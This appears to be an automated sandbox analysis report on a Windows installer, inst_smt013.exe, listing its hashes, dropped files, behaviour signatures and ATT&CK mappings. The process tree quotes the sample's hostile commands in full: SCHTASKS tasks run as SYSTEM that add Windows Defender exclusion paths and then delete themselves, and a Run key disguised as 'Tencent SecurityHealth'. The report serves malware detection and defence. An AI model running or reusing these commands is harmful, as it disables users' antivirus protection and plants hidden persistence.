Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
05/08/2026, 04:38
Static task
static1
Behavioral task
behavioral1
Sample
inst_smt013.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
inst_smt013.exe
Resource
win11ltsc2024-20260709-en
General
- Target inst_smt013.exe
- Size 55.2MB
- Sample260805-e9s9naybph
- SHA256 757147db03bd85ba24a026fc400bd4cc0a7037f69a527a35835ca2e31fa0cb2d
- MD5 3d5f117d6d31786b0ad3846bd1899360
- SHA1 1206c78ef0a1e409a318feac1d49c27fec5f8cf1
- SHA512 b3f76a9c67862f5e5f252c1fefda9d9d78b7eebd44095b955e061df87d2a5e177ff6d594d17ea43699dadb4abe96e50590651b8ebb1a995c76ebf302cb9b0e8f
- SSDEEP 196608:4nnmbV2qWwRNTc+u1aZfO8pP+QDhb6Z/LzEnSQ5Ps6c:SSRe9QD8
- TLSH T1DDC78406F702899AD4799338488B4F91B372ECF14AB6972323B8733D2EFA35C5E91545
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\5WVmVg = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation GmCmOH.exe - Executes dropped EXE 2 IoCs
pid Process 5192 GmCmOH.exe 3128 GmCmOH.exe - Loads dropped DLL 2 IoCs
pid Process 5192 GmCmOH.exe 3128 GmCmOH.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\5WVmVg\\GmCmOH.exe\"" GmCmOH.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3648 cmd.exe 620 cmd.exe 880 cmd.exe 756 cmd.exe 3256 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b GmCmOH.exe - Drops file in Program Files directory 2 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\AyBP0J GmCmOH.exe File created C:\Program Files (x86)\AyBP0J\AyBP0J.exe GmCmOH.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 668 cmd.exe 2812 cmd.exe 900 cmd.exe 3680 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1200 schtasks.exe 4268 schtasks.exe 4588 schtasks.exe 4148 schtasks.exe 3360 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 2556 inst_smt013.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe 5192 GmCmOH.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 672 Process not Found 672 Process not Found 672 Process not Found - Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 5192 wrote to memory of 880 5192 GmCmOH.exe 108 PID 880 wrote to memory of 1200 880 cmd.exe 110 PID 5192 wrote to memory of 756 5192 GmCmOH.exe 114 PID 880 wrote to memory of 3612 880 cmd.exe 116 PID 880 wrote to memory of 5092 880 cmd.exe 118 PID 756 wrote to memory of 4268 756 cmd.exe 120 PID 5192 wrote to memory of 3256 5192 GmCmOH.exe 122 PID 756 wrote to memory of 1428 756 cmd.exe 124 PID 5192 wrote to memory of 3648 5192 GmCmOH.exe 126 PID 756 wrote to memory of 1852 756 cmd.exe 128 PID 668 wrote to memory of 1772 668 cmd.exe 131 PID 3680 wrote to memory of 3768 3680 cmd.exe 132 PID 3648 wrote to memory of 4588 3648 cmd.exe 133 PID 3256 wrote to memory of 4148 3256 cmd.exe 134 PID 3648 wrote to memory of 1824 3648 cmd.exe 135 PID 3256 wrote to memory of 212 3256 cmd.exe 137 PID 3648 wrote to memory of 4288 3648 cmd.exe 138 PID 5192 wrote to memory of 620 5192 GmCmOH.exe 139 PID 2812 wrote to memory of 1104 2812 cmd.exe 142 PID 3256 wrote to memory of 4992 3256 cmd.exe 143 PID 620 wrote to memory of 3360 620 cmd.exe 144 PID 620 wrote to memory of 4572 620 cmd.exe 145 PID 620 wrote to memory of 3220 620 cmd.exe 148 PID 900 wrote to memory of 4888 900 cmd.exe 149 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\inst_smt013.exe"C:\Users\Admin\AppData\Local\Temp\inst_smt013.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2556
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C:\Users\Public\5WVmVg\GmCmOH.exeC:\Users\Public\5WVmVg\GmCmOH.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5192 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\5WVmVg\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:880 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\5WVmVg\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1200
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3612
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:756 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4268
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1428
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1852
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3256 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4148
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:212
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4992
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3648 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4588
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1824
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4288
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:620 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3360
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4572
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3220
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\5WVmVg" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\5WVmVg" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3768
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C:\Users\Public\5WVmVg\GmCmOH.exe"C:\Users\Public\5WVmVg\GmCmOH.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3128
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4900
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:668 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1772
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1104
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4888
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\5WVmVg\GmCmOH.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\5WVmVg\UxEnhance64.dll
- Size 3.1MB
- SHA256 821b5697b0d4fb309f393e0ef56abf6deff18941375e54a80f251540ab1299a6
- MD5 3ea868f302e83e0b605d8e050f2a70de
- SHA1 9aaa9709e22368265fcc19ab8b5592faed4ed438
- SHA512 cde6ebeab1005b59c0feee02dc0e3a36401336b1ee9d53e5a3a42548a67ed155872837f3733ab728b999c00e96b850a94139d2eb5356b619517fbe8155dd9b15
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+a:P9m29xx3Tiqt06ox6+z2rNNrKoa
- TLSH T142E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\5WVmVg\adoresd.dat
- Size 4.7MB
- SHA256 3c4e84b9230da9bd80fa80c23470d9892966d3d075b9d20b64052f11c4dafab8
- MD5 6c88e21a4f8f24f279e55dc8cccce6bb
- SHA1 7b651d92d658d8186960655ebfc7cd9d896452a7
- SHA512 76c06f883080b39af3a49fd1f0691393be468a2d34743eec3ce9392950fd41a15e4cd4058afc98e75236d32c137b9158cc8c9c33ae56abae62bec0521f5153cf
- SSDEEP 98304:Vmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:gu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1643633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\5WVmVg\msadox.tb
- Size 8KB
- SHA256 d6ff4ae41dd7c5f1782a2510cd6a94b8bbbae0014daa73ec924854314762aa2c
- MD5 6aa01ef23a6279e82d0e22d379e1dfcb
- SHA1 4d144375f4a3fd4fd4f1de0bf19d0a676a7f51f5
- SHA512 15c5900f8f025a5d3c4f8701e4e65c3508cf28aff9ab880427b2b3faab7855f4dc34f0da256acd008eda892e959f17730e30f664a9d45349b7d9e6aaf21f015e
- SSDEEP 192:UqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:UsZqZOXQ3uqvR2Kfzp
- TLSH T119029E06D7A21CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH